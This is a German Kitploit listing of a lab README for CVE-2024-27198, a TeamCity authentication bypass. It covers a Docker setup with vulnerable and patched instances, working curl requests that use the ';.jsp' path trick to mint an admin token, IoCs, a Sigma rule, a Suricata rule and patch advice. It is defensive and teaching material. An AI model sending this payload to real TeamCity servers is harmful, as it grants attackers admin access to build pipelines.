Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-27198_Lab — Lab for the CVE-2024-27198 | Kitploit
Tools/GitHubGitHub/cmpnn-romain/cve-2024-27198_lab
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingThreat IntelligenceIntrusion DetectionLearning & EducationIncident ResponseLog AnalysisLabs & Practice
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
cmpnn-romain/cve-2024-27198_lab

CVE-2024-27198_Lab

Lab for the CVE-2024-27198

Repository anzeigen

CVE-2024-27198 Lab

Beschreibung

TeamCity bietet eine nur für Administratoren zugängliche Seite zur Token-Verwaltung, die nicht durch Authentifizierung geschützt ist. Dies ermöglicht es einem nicht authentifizierten Benutzer, einen Zugriffstoken für den Admin-Benutzer zu generieren, wenn er die ID eines vorhandenen Benutzers finden kann.


CVE-Details

  • CVE-ID: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • Basis-Score: 9.8 KRITISCH
  • Vektor:
    • CVSS:3.1
    • AV:N Netzwerk
    • AC:L Niedrig
    • PR:N Keine
    • UI:N Keine
    • S:U Unverändert
    • C:H Hoch
    • I:H Hoch
    • A:H Hoch

Bedrohungsanalyse & OSINT

Auswirkungen & Ausnutzung in der Praxis

  • CISA KEV-Katalog: Hinzugefügt am 7. März 2024, bestätigt aktive Ausnutzung in freier Wildbahn.
  • Bedrohungsakteure: Ausgenutzt von mehreren Ransomware-Gruppen und APTs, insbesondere der BianLian-Ransomware-Gruppe und der Jasmin-Ransomware-Variante. Angreifer nutzten diese Umgehung, um schurkische Administratorkonten zu erstellen, bösartige Plugins zu installieren und beliebigen Code (RCE) auszuführen, um sich seitlich in Opfernetzwerken zu bewegen.
  • Zielprofil: CI/CD-Pipelines sind hochwertige Ziele (Supply-Chain-Angriffe). Die Kompromittierung von TeamCity ermöglicht es Angreifern, bösartigen Code in Software-Builds einzuschleusen, Quellcode zu stehlen und Bereitstellungsgeheimnisse (AWS-Schlüssel, Zertifikate) zu extrahieren.

Warum diese CVE kritisch ist

Die Schwachstelle liegt im REST-API-Routing-Mechanismus. Durch Anhängen bestimmter Zeichen (wie ?jsp=/app/rest/...;.jsp) an einen nicht authentifizierten Endpunkt können Angreifer den TeamCity-Webserver dazu bringen, die Anfrage an einen authentifizierten Endpunkt weiterzuleiten, während die Sicherheitsfilter umgangen werden. Dies erfordert keinerlei Vorkenntnisse oder Zugriff, was es zu einer reinen 9.8 CVSS macht.


Schritte zur Reproduktion

Container starten

root@kitploit:~
cd CVE-2024-27198
root@kitploit:~
docker compose -f docker-compose.yml up -d

Greifen Sie auf die verwundbare TeamCity-Instanz unter http://localhost:8111 zu. Greifen Sie auf die gepatchte TeamCity-Instanz unter http://localhost:8112 zu.


Anmeldeportal

Benutzername:

root@kitploit:~
admin

Passwort:

root@kitploit:~
admin

Testen Sie die Sicherheitslücke

GET-Anfrage für eine Ressource ohne Authentifizierung:

root@kitploit:~
curl -i http://localhost:8111/app/rest/users
root@kitploit:~
curl -i http://localhost:8112/app/rest/users

Beide sollten einen Fehler mit Statuscode 401 zurückgeben.


Generieren Sie einen Token für den Admin-Benutzer

root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Dies sollte einen Token wie diesen zurückgeben (Der Token ist jedes Mal anders):

root@kitploit:~
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Dies sollte einen Fehler mit Statuscode 401 zurückgeben, da die gepatchte Instanz die Sicherheitslücke nicht aufweist.


Token überprüfen

root@kitploit:~
curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

Sollte die Liste der Benutzer zurückgeben.


Token löschen

  1. Gehen Sie zu http://localhost:8111 mit dem Admin-Konto.
  2. Klicken Sie auf das Profilsymbol oben rechts.
  3. Gehen Sie zu Profil -> Zugriffstoken.
  4. Sie werden den "REDTEAM"-Token sehen.
  5. Klicken Sie einfach auf Löschen neben dem Token.

Blue Team: Jagd nach IoCs in Protokollen (Der Stealth-Faktor)

Während der Demonstration im Labor können Sie einen massiven Blue Team-Fund zeigen: Standardmäßig ist diese Sicherheitslücke extrem heimlich!

  1. Tomcat-Zugriffsprotokolle sind standardmäßig im TeamCity-Docker-Image deaktiviert, daher werden die ;.jsp-HTTP-Anfragen nicht protokolliert.
  2. Das TeamCity-Überwachungsprotokoll protokolliert die Token-Erstellung über die REST-API nicht.

Wie fangen wir sie also? Wenn der Angreifer seine Spuren verwischt! Wenn der Angreifer seinen schurkischen Token löscht, um sich zu verstecken, protokolliert TeamCity dies doch.

Finden Sie den Angreifer, der seine Spuren in den Überwachungsprotokollen verwischt:

root@kitploit:~
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(Sie werden einen Protokolleintrag sehen, der angibt, dass der "REDTEAM"-Token gelöscht wurde).


Container stoppen

root@kitploit:~
docker compose -f docker-compose.yml down

Abhilfe & Erkennung

Technische Analyse (CWE-288)

Diese Sicherheitslücke ist ein Beispiel für CWE-288: Authentifizierungsumgehung unter Verwendung eines alternativen Pfads oder Kanals. Der Fehler resultiert aus einer Pfadverwirrung zwischen dem Tomcat-Webserver und dem TeamCity-Anwendungsrouter. Durch Anhängen von ;.jsp und Übergeben des Ziel-REST-API-Endpunkts im Parameter jsp= interpretiert der anfängliche Sicherheitsfilter die Anfrage als nicht authentifizierte Anfrage an eine öffentliche .jsp-Datei (was erlaubt ist). Der interne Router entfernt jedoch das ;.jsp und leitet die Anfrage an den eingeschränkten /app/rest/-Endpunkt weiter, ohne den Authentifizierungsfilter durchzusetzen.

Legitimer Anwendungsfall (Warum ist ; erlaubt?): Tomcat verwendet das Semikolon (;) für Matrix-Parameter. Historisch wird dieser Mechanismus verwendet, um Parameter direkt im Pfad zu übergeben, z. B. Anhängen von JSESSIONID, um den Benutzersitzungsstatus zu erhalten, wenn Cookies deaktiviert sind. Dieses normale, legitime Webserver-Verhalten in Kombination mit der unsachgemäßen Validierung durch den TeamCity-Anwendungsrouter erzeugt die Sicherheitslücke.

Indikatoren für eine Kompromittierung (IoCs)

Um eine laufende oder vergangene Kompromittierung zu erkennen, sollten Blue Teams nach Folgendem suchen:

  1. Web-Protokolle: HTTP-Anfragen, die auf /app/rest/-Endpunkte abzielen, aber die anomale ;.jsp-Zeichenfolge in der URI enthalten.
  2. Überwachungsprotokolle (teamcity-server.log): Unerklärliche Generierung von Zugriffstoken oder Erstellung neuer Administratorkonten.
  3. Systemebene: Installation von nicht erkannten oder verdächtigen Plugins (häufig von Angreifern verwendet, um Privilegien zu eskalieren und Remote-Code-Ausführung zu erreichen).

Protokollerkennung (Sigma-Regel)

Da der anfängliche Exploit standardmäßig heimlich ist, müssen Blue Teams darauf angewiesen sein, die Post-Exploitation-Aktionen des Angreifers zu erkennen, wie das Verwischen von Spuren. Hier ist eine Sigma-Regel für Ihr SIEM zur Erkennung verdächtiger Token-Löschungen:

root@kitploit:~
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
    category: application
    product: teamcity
detection:
    selection:
        message|contains: 'delete_token_for_user'
    condition: selection
level: medium

SIEM Live-Demo (Blue Team)

Um zu beweisen, dass diese Erkennung funktioniert, führen Sie das Skript siem_simulator.py aus.

  1. Öffnen Sie ein zweites Terminal neben Ihrem Exploit-Terminal.
  2. Stellen Sie sicher, dass der verwundbare Container läuft (docker compose up -d).
  3. Führen Sie den Simulator aus:
root@kitploit:~
python3 siem_simulator.py
  1. Im ersten Terminal führen Sie den Exploit aus, überprüfen den Token und löschen dann den Token über die Weboberfläche.
  2. Beobachten Sie, wie das zweite Terminal mit einer roten kritischen Warnung aufleuchtet, die zeigt, dass die Sigma-Regel den Angreifer beim Verwischen seiner Spuren erwischt hat!

Abhilfe

  • Offizieller Patch: Aktualisieren Sie TeamCity auf Version 2023.11.4 oder höher, die das Routen-Matching auf dem Backend ordnungsgemäß bereinigt und durchsetzt.
  • Workaround: Wenn ein Patchen nicht möglich ist, hat JetBrains ein Sicherheitspatch-Plugin veröffentlicht, das auf verwundbaren Instanzen installiert werden kann.

Netzwerkerkennung (Suricata / Snort-Regel)

Um diesen Ausnutzungsversuch im Netzwerk zu erkennen, kann ein SOC die folgende IDS-Regel implementieren, die nach dem anomalen ;.jsp-Muster in Kombination mit REST-API-Pfaden sucht:

root@kitploit:~
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Testen Sie die gepatchte Version (Labor-Demonstration)

Um zu beweisen, dass die Abhilfe funktioniert, können Sie die exakt gleiche Exploit-Payload gegen den gepatchten TeamCity-Container auf Port 8112 starten:

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Da der Patch das Routen-Matching streng durchsetzt und Matrix-Parameter korrekt bereinigt, wird die Umgehung fehlschlagen. Sie sollten eine 401 Unauthorized- oder 404 Not Found-Antwort anstelle eines generierten Tokens sehen.


Links

  • CVE-2024-27198
Tool herunterladen